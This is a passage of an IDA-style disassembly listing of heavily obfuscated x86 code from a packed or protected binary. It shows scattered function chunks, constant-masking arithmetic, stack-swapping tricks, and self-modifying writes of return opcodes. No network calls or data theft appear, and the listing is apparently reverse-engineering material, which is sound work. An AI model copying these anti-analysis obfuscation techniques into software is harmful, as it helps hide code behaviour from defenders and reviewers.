--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439C96 loc_440602: ; CODE XREF: sub_439C96-726j cmp edx, esi jmp loc_44737C ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440609: ; CODE XREF: sub_448EB6+290j pop ecx or ecx, 63F33156h add ecx, 8E1B027Fh rol ecx, 1Eh add ecx, 5FFEFBC4h add eax, ecx jmp loc_439684 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_440626 proc near ; CODE XREF: sub_440ABC-54AFp ; sub_448EB6+64j ; FUNCTION CHUNK AT 0043AB95 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EBE1 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00442404 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044BFDA SIZE 0000000C BYTES xchg edx, [esp+0] pop edx add edx, 0ADBDB0D1h mov [edx], eax pop edx jmp loc_43AB95 sub_440626 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 17B3C1CFh call sub_44D293 push ebp mov ebp, eax loc_440645: ; CODE XREF: y22d6.y.:loc_43FD66j jmp loc_44D562 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44064A: ; CODE XREF: sub_44B17B+8j push 0B042C10Dh pop edx or edx, 20F6B533h add edx, 0B11ED042h jmp loc_4370F7 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_440661: ; CODE XREF: sub_44271A+78BAj mov esi, eax xchg esi, [esp+8+var_8] retn ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_440667: ; CODE XREF: sub_44439D-6A13j jmp loc_443AF4 ; END OF FUNCTION CHUNK FOR sub_44439D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44066C proc near ; CODE XREF: sub_44DA98-52EDp ; FUNCTION CHUNK AT 0043738E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043A6FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004412D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444939 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 004470DC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00447C90 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044A4F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044AFDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B75B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044C57D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CB59 SIZE 00000014 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_43A6FD sub_44066C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_440677: ; CODE XREF: y22d6.y.:0043D04Aj ; y22d6.y.:loc_444FC7j add esi, 0C4E9E500h mov [esi], eax pop esi lea eax, sub_446425 jmp loc_449278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_44068B: ; CODE XREF: sub_439F5A+B94Dj add ebx, 1B6D949Ch mov ebx, [ebx] add eax, ebx pop ebx pushf jmp loc_43ADC8 ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_44069C: ; CODE XREF: sub_4449FA+A5Dj sub esi, 21163DA4h xor esi, 0AD425981h add esi, 0A8ADFCECh xchg esi, [esp+4+var_4] jmp loc_44394A ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4406B6: ; CODE XREF: sub_448EB6+46j jz loc_446569 jmp loc_43A2E1 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_4406C1: ; CODE XREF: y22d6.y.:loc_43FABCj and eax, 60DDE40Dh xor eax, 1225E745h call sub_43CA1A mov ds:dword_41E178, eax lea eax, nullsub_360 mov byte ptr [eax], 0C3h jmp loc_445F08 ; --------------------------------------------------------------------------- loc_4406E6: ; CODE XREF: y22d6.y.:0043DF87j mov eax, [esp] jmp loc_43F7BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4406EE: ; CODE XREF: sub_4432B8:loc_43782Ej push esi mov esi, eax xchg esi, [esp+4+var_4] mov eax, edx call sub_440F6A push offset loc_43760F jmp nullsub_310 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_440705: ; CODE XREF: y22d6.y.:0043F0BAj mov [esi], eax push offset loc_43D812 jmp locret_4419FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_440711: ; CODE XREF: sub_4475B3:loc_4450E7j test ecx, 8000h jmp loc_43BC3D ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44071C: ; CODE XREF: y22d6.y.:00437FCCj ; sub_43B09B:loc_43EAA4j add eax, 0E46AFF9Dh cmp eax, 0BC9C8D15h jmp loc_44AC3D ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_44072D: ; CODE XREF: y22d6.y.:004405DAj mov esi, eax add esi, ebp jno loc_43702A cdq add edx, esi jmp loc_43D8F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_440740: ; CODE XREF: y22d6.y.:0044A1BCj jmp loc_443B3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441191 loc_440745: ; CODE XREF: sub_441191+28B3j jmp loc_43B49F ; END OF FUNCTION CHUNK FOR sub_441191 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4391EE loc_44074A: ; CODE XREF: sub_4391EE+Aj jmp sub_4396B2 ; END OF FUNCTION CHUNK FOR sub_4391EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E1E loc_44074F: ; CODE XREF: sub_441E1E-8B35j push 0FFFFFFFFh push eax push esi ; END OF FUNCTION CHUNK FOR sub_441E1E ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_440753: ; CODE XREF: sub_44B1D2:loc_43BDAAj mov esi, ebx xchg esi, [esp+0] push 3601F606h pop ebx jmp loc_44A6BA ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_440763: ; CODE XREF: sub_44633F:loc_443B68j add esi, 0BF7FF571h xchg esi, [esp-4+arg_0] jmp loc_43DDE2 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- mov eax, 0D59435E2h push ecx loc_440777: ; CODE XREF: y22d6.y.:loc_43D92Bj push 3054A860h jmp loc_445216 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_440781: ; CODE XREF: sub_44439D+20DFj ror eax, 8 loc_440784: ; CODE XREF: sub_44AEDA:loc_44B3A4j push offset sub_43ECDD jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- jnz loc_43E964 jmp loc_449294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440799: ; CODE XREF: sub_448EB6+D55j jno loc_43ADFF mov edx, [ebp+0] jmp loc_443282 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- mov ebx, ebp jmp loc_438B60 ; =============== S U B R O U T I N E ======================================= sub_4407AE proc near ; CODE XREF: y22d6.y.:00443E51j ; y22d6.y.:00445C31p xchg ecx, [esp+0] pop ecx call sub_43CA1A mov ds:off_41E14C, eax lea eax, loc_440320 mov byte ptr [eax], 0C3h jmp loc_440320 sub_4407AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_4407CB: ; CODE XREF: sub_443778:loc_440320j pop edx push offset loc_437F91 jmp loc_44A334 ; END OF FUNCTION CHUNK FOR sub_443778 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4407D7: ; CODE XREF: sub_448EB6-B86Aj jmp nullsub_222 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_4407DC: ; CODE XREF: sub_43F750+4E91j jl loc_44CFE8 loc_4407E2: ; CODE XREF: sub_43F750:loc_44B61Ej push 6CA3B9A1h pop eax rol eax, 1Eh call sub_440D9E ; END OF FUNCTION CHUNK FOR sub_43F750 ; START OF FUNCTION CHUNK FOR sub_444541 loc_4407F0: ; CODE XREF: sub_444541+9j jmp loc_437D1A ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_4407F5: ; CODE XREF: sub_44123E:loc_4484C6j sbb eax, 100B2CEFh loc_4407FB: ; CODE XREF: y22d6.y.:0044D384j pushf sub edx, ebx jl loc_441582 jmp loc_437708 ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- pushf jmp sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D460 loc_44080F: ; CODE XREF: sub_44D460+9j mov eax, 20413B0Fh push ebx push 0A63A7AE7h pop ebx or ebx, 765E4D79h add ebx, 9C596ADh jmp loc_43E0EE ; END OF FUNCTION CHUNK FOR sub_44D460 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C48C loc_44082C: ; CODE XREF: sub_44C48C+17j xor edx, 1EC49457h add ecx, edx push offset sub_43FAC6 jmp loc_44B262 ; END OF FUNCTION CHUNK FOR sub_44C48C ; --------------------------------------------------------------------------- loc_44083E: ; CODE XREF: y22d6.y.:0043D162j cmp esi, 799E9602h jmp loc_43C0C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_440849: ; CODE XREF: sub_43EC1C:loc_449B96j sbb ecx, eax jmp loc_441C2C ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_440850: ; CODE XREF: sub_4432B8:loc_44B96Bj mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_43B224 jmp loc_4458AC ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_440861: ; CODE XREF: y22d6.y.:loc_4458F8j rol ebx, 1Fh xor ebx, 0FBE8A55Ch rol ebx, 19h add ebx, 0B22DB3F4h xchg ebx, [esp] jmp loc_449FF2 ; --------------------------------------------------------------------------- pop edx pop eax jmp loc_43E673 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_440882: ; CODE XREF: sub_44B674:loc_44B57Aj xchg esi, [esp+4+var_4] mov ebp, esp push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_449683 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_440895: ; CODE XREF: sub_43C65F+1979j xor esi, ecx and eax, ecx loc_440899: ; CODE XREF: sub_441F08-5CAAj ; sub_43C65F+7j ... jmp loc_43ED3A ; --------------------------------------------------------------------------- loc_44089E: ; CODE XREF: sub_43C65F:loc_43CD84j ; y22d6.y.:loc_43D7A5j ... pop ecx xchg ecx, [esp-4+arg_0] jmp loc_44A466 ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_4408A7: ; CODE XREF: sub_43FFE2:loc_43BAD1j jnz loc_43E7E3 jmp loc_43BCF7 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_4408B2: ; CODE XREF: sub_44156E+B162j jz loc_44D219 jmp loc_440B73 ; END OF FUNCTION CHUNK FOR sub_44156E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_4408BD: ; CODE XREF: sub_4475B3:loc_44A63Bj pop esi xor esi, 68FFD41Ch cmp esi, 3B30930Eh jmp loc_4391C1 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; =============== S U B R O U T I N E ======================================= sub_4408CF proc near ; CODE XREF: y22d6.y.:00441397j ; sub_43B98D+10AE5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00439832 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044932D SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx xchg edi, [esp-4+arg_0] mov ebx, edi pop edi jmp loc_44932D sub_4408CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A22A loc_4408DE: ; CODE XREF: sub_44A22A+1Cj pushf call sub_442978 locret_4408E4: ; CODE XREF: sub_438B66:loc_442568j retn ; END OF FUNCTION CHUNK FOR sub_44A22A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_4408E5: ; CODE XREF: sub_4385ED+1345Aj jmp loc_4400B9 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_4408EA: ; CODE XREF: sub_43A6E1+A08j jmp loc_43BE8A ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_4408EF: ; CODE XREF: sub_43A148:loc_44E637j mov eax, [esp+0] ; END OF FUNCTION CHUNK FOR sub_43A148 ; =============== S U B R O U T I N E ======================================= sub_4408F2 proc near ; CODE XREF: sub_4432B8:loc_440C91j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043961D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044E3FE SIZE 00000014 BYTES push ebp mov ebp, edx xchg ebp, [esp+4+var_4] push eax mov eax, ebx xchg eax, [esp+8+var_8] push 4EEB75D6h jmp loc_44E3FE sub_4408F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44374A loc_440908: ; CODE XREF: sub_44374A:loc_440178j jz loc_4424BF jmp loc_4375CC ; END OF FUNCTION CHUNK FOR sub_44374A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_440913: ; CODE XREF: sub_44A359-B201j jz loc_43E2F2 jmp loc_44600D ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_44091E: ; CODE XREF: sub_44D3B1-2632j push 0BCFF1D0Bh pop edi and edi, 7EBF4234h loc_44092A: ; CODE XREF: y22d6.y.:loc_44CAA2j push offset loc_44A037 jmp nullsub_246 ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44571D loc_440934: ; CODE XREF: sub_44571D-598Ej test ebp, ecx jmp loc_44A0DF ; END OF FUNCTION CHUNK FOR sub_44571D ; --------------------------------------------------------------------------- loc_44093B: ; CODE XREF: y22d6.y.:00438A45j jnb loc_43FB00 and edi, ecx ; =============== S U B R O U T I N E ======================================= sub_440943 proc near ; CODE XREF: y22d6.y.:0043A4CBp ; FUNCTION CHUNK AT 0043DF9B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00448A35 SIZE 00000024 BYTES xchg edi, [esp+0] pop edi push 0A673526h jmp loc_448A35 sub_440943 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_440951: ; CODE XREF: y22d6.y.:00445D04j rol eax, 1Ah push 0D5846393h ; START OF FUNCTION CHUNK FOR sub_4450FD loc_440959: ; CODE XREF: sub_4450FD+BF8j rol eax, 0Fh and eax, 5ECDB07Fh add eax, 30F97EF4h jmp loc_438A7C ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- loc_44096D: ; CODE XREF: y22d6.y.:loc_43AD09j jz loc_4417DF jmp loc_440FCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_440978: ; CODE XREF: sub_444871+2CE9j pop eax add eax, 0E466D56Bh rol eax, 0Fh call sub_43979A loc_440987: ; CODE XREF: y22d6.y.:00448287j xor eax, 99120376h push ebx pushf push 8534DB8Dh jmp loc_44B4C1 ; END OF FUNCTION CHUNK FOR sub_444871 ; --------------------------------------------------------------------------- loc_440999: ; CODE XREF: y22d6.y.:00439279j js loc_448941 loc_44099F: ; CODE XREF: y22d6.y.:loc_43926Aj and edx, ds:4000E1h ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_4409A5: ; CODE XREF: sub_43A9C6:loc_437708j add edx, 2795FCD9h popf call sub_43C39B loc_4409B1: ; CODE XREF: sub_43BF98:loc_44A5E0j xor ecx, 0BC38983Ch rol ecx, 1 loc_4409B9: ; CODE XREF: sub_43BEF7:loc_44ADD3j call sub_442E7D loc_4409BE: ; CODE XREF: sub_437913+7419j jmp loc_43DDBB ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_4409C3: ; CODE XREF: sub_44C59C:loc_43E32Ej push eax pushf push 4EE50377h pop eax jmp loc_43E804 ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- loc_4409D0: ; CODE XREF: y22d6.y.:loc_43A12Aj jz loc_440F9A jmp loc_43DF80 ; --------------------------------------------------------------------------- xchg ebp, edx jmp sub_44CBBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3BD loc_4409E2: ; CODE XREF: sub_43E3BD:loc_43BE24j xchg eax, [esp+0] push 232E611Eh xchg ebp, [esp+4+var_4] mov edx, ebp jmp loc_444313 ; END OF FUNCTION CHUNK FOR sub_43E3BD ; =============== S U B R O U T I N E ======================================= sub_4409F4 proc near ; CODE XREF: sub_44E63C-E78Cp ; y22d6.y.:00446E69j ; FUNCTION CHUNK AT 0043902E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A10E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043AE59 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B0C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C366 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043F415 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004413A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004421A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443C58 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004495CD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044DF2E SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx mov eax, [eax] loc_4409FA: ; CODE XREF: sub_43B878:loc_4425DBj push eax jmp loc_43B0C0 sub_4409F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_440A00: ; CODE XREF: y22d6.y.:0044D1D7j and ebx, 9D6FA34Ch ; START OF FUNCTION CHUNK FOR sub_44997F loc_440A06: ; CODE XREF: sub_44997F+384Cj add ebx, 4C6E4607h mov [ebx], eax pop ebx lea eax, sub_43A9C6 mov byte ptr [eax], 0C3h jmp sub_43A9C6 ; END OF FUNCTION CHUNK FOR sub_44997F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_440A1D: ; CODE XREF: sub_44B17B-2D9Dj jg loc_443675 jle loc_43BDE7 js loc_44B7D2 loc_440A2F: ; CODE XREF: sub_44B17B:loc_43E637j mov eax, [ebp+var_4] loc_440A32: ; CODE XREF: sub_43E185:loc_439DD9j jmp loc_43F399 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- adc ebp, 0B6E3970h jmp loc_43DD3F ; --------------------------------------------------------------------------- loc_440A42: ; CODE XREF: y22d6.y.:00439370j pop ebx ; START OF FUNCTION CHUNK FOR sub_44B17B loc_440A43: ; CODE XREF: sub_44B17B-D98Bj and ebx, 2390C188h test ebx, 8000000h jmp loc_43914E ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- mov ebp, [eax] jmp loc_43C125 ; --------------------------------------------------------------------------- jmp ds:off_41E204 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_440A61: ; CODE XREF: sub_437B43+B31Ej jmp loc_44E019 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_440A66: ; CODE XREF: sub_44D7E0:loc_442A7Cj ; sub_4443AD:loc_44BCBDj ... jnb loc_4443C1 pop edx call sub_43B006 loc_440A72: ; CODE XREF: sub_43B252:loc_44D615j jz loc_447A95 jmp loc_447C2C ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439407 loc_440A7D: ; CODE XREF: sub_439407:loc_44438Fj cmp eax, 16F77882h jmp loc_441D03 ; END OF FUNCTION CHUNK FOR sub_439407 ; =============== S U B R O U T I N E ======================================= sub_440A88 proc near ; CODE XREF: y22d6.y.:004393CCp ; y22d6.y.:0044DBF2j ; FUNCTION CHUNK AT 00441984 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447B6B SIZE 0000000E BYTES xchg esi, [esp+0] pop esi call sub_43CA1A mov ds:dword_41E0CC, eax jmp loc_447B6B sub_440A88 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_440A9C: ; CODE XREF: sub_44BBBA-12E15j ror edx, 0Ch jmp loc_43FA4B ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_440AA4: ; CODE XREF: sub_44BCC2:loc_44884Aj jz loc_449672 jmp loc_44D422 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- adc esi, edi jmp loc_439930 ; --------------------------------------------------------------------------- loc_440AB6: ; CODE XREF: y22d6.y.:00439265j jz loc_43D4D4 ; =============== S U B R O U T I N E ======================================= sub_440ABC proc near ; CODE XREF: sub_4432B8:loc_43F2A3j ; sub_4475B3+6ABp ; FUNCTION CHUNK AT 004388BC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B5F8 SIZE 0000001B BYTES xchg ebx, [esp+0] pop ebx add esi, ebp add esi, 16037AE6h mov [esi], ecx pop esi mov [ebp-6], dx jmp loc_4388BC sub_440ABC endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebp, [edx] shl eax, 7 jmp sub_43B11C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_440ADE: ; CODE XREF: sub_43B7B5:loc_448E85j jnz loc_44533B jmp loc_441A94 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- loc_440AE9: ; CODE XREF: y22d6.y.:0043B720j jge loc_4410A0 pushf jmp loc_447C58 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440AF5 proc near ; CODE XREF: sub_44C59C-13C31p ; y22d6.y.:00439E44p ... push ebp mov ebp, esp push edi mov edi, ecx push offset sub_44DB4F jmp nullsub_40 sub_440AF5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_440B05: ; CODE XREF: sub_43C712+7128j shl ebx, 0Eh test eax, 84B8C43Eh jmp loc_442691 ; END OF FUNCTION CHUNK FOR sub_43C712 ; =============== S U B R O U T I N E ======================================= sub_440B13 proc near ; CODE XREF: sub_44066C-92CEj var_4 = dword ptr -4 push ebx push eax pop ebx xchg ebx, [esp+4+var_4] ror eax, 18h mov ds:dword_43C7F8, eax retn sub_440B13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3D7 loc_440B23: ; CODE XREF: sub_43C3D7+1j jmp loc_43A84F ; END OF FUNCTION CHUNK FOR sub_43C3D7 ; --------------------------------------------------------------------------- loc_440B28: ; DATA XREF: sub_44A359-1045Ao or eax, eax jnz loc_43E2FE jmp loc_446161 ; --------------------------------------------------------------------------- locret_440B35: ; CODE XREF: y22d6.y.:0043A7FAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442266 loc_440B36: ; CODE XREF: sub_44DB81:loc_44564Cj ; sub_442266+8936j jmp loc_43DE89 ; END OF FUNCTION CHUNK FOR sub_442266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF73 loc_440B3B: ; CODE XREF: sub_44DF73-12AABj jmp loc_44A872 ; END OF FUNCTION CHUNK FOR sub_44DF73 ; --------------------------------------------------------------------------- locret_440B40: ; CODE XREF: y22d6.y.:loc_4398B9j retn ; --------------------------------------------------------------------------- loc_440B41: ; CODE XREF: y22d6.y.:0043D3D5j jmp loc_43F6EC ; --------------------------------------------------------------------------- loc_440B46: ; CODE XREF: y22d6.y.:00437A83j rol ecx, 19h ; START OF FUNCTION CHUNK FOR sub_447663 loc_440B49: ; CODE XREF: sub_447663:loc_437A77j add eax, 0FFB279Eh call sub_43F7FF mov ds:off_41E014, eax lea eax, sub_43A148 mov byte ptr [eax], 0C3h jmp loc_449B4E ; END OF FUNCTION CHUNK FOR sub_447663 ; =============== S U B R O U T I N E ======================================= sub_440B68 proc near ; CODE XREF: sub_4019F9+82p ; sub_440B68:loc_44D839j ; DATA XREF: ... ; FUNCTION CHUNK AT 00449C92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D839 SIZE 00000006 BYTES call sub_44D83F jmp loc_449C92 sub_440B68 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_311. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_440B73: ; CODE XREF: sub_44156E-CB6j and esi, ebx jmp loc_44326E ; END OF FUNCTION CHUNK FOR sub_44156E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CED loc_440B7A: ; CODE XREF: sub_449CED:loc_43C410j pop ecx sub ecx, 7812B07h xor ecx, 0FF70B36Bh call sub_439CB5 ; END OF FUNCTION CHUNK FOR sub_449CED ; START OF FUNCTION CHUNK FOR sub_4476DE loc_440B8C: ; CODE XREF: sub_4476DE+44D7j jmp loc_4434D5 ; END OF FUNCTION CHUNK FOR sub_4476DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A9DF loc_440B91: ; CODE XREF: sub_44A9DF+6j jmp loc_44E507 ; END OF FUNCTION CHUNK FOR sub_44A9DF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44256D loc_440B97: ; CODE XREF: sub_44256D:loc_438875j mov eax, [esp+0] push edx call sub_44C758 mov eax, 0CB39536Bh jmp loc_4398BF ; END OF FUNCTION CHUNK FOR sub_44256D ; =============== S U B R O U T I N E ======================================= sub_440BAA proc near ; DATA XREF: sub_441B2E+7o call sub_4480DE retn sub_440BAA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_440BB0: ; CODE XREF: sub_449C1B+47DEj jmp loc_4405DF ; END OF FUNCTION CHUNK FOR sub_449C1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_440BB5: ; CODE XREF: sub_43B09B+8E98j jmp loc_44A078 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- jmp loc_4491F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_440BBF: ; CODE XREF: sub_439051-EE2j push esi push 0D2B15A78h pop esi and esi, 10285455h sub esi, 0F1CA6A28h jmp loc_4390E6 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- loc_440BD7: ; CODE XREF: y22d6.y.:004440D3j and edx, esi and edi, 0B352DC95h adc ebp, 0E5DF484Eh loc_440BE5: ; CODE XREF: y22d6.y.:loc_445B60j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_438D05 jmp loc_44906D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFBB loc_440BF7: ; CODE XREF: sub_43FFBB+87E6j jmp nullsub_369 ; END OF FUNCTION CHUNK FOR sub_43FFBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44585C loc_440BFC: ; CODE XREF: sub_44585C:loc_43FA71j jz loc_448917 jmp loc_446199 ; END OF FUNCTION CHUNK FOR sub_44585C ; --------------------------------------------------------------------------- loc_440C07: ; CODE XREF: y22d6.y.:loc_440019j or edi, 0D60A4701h and 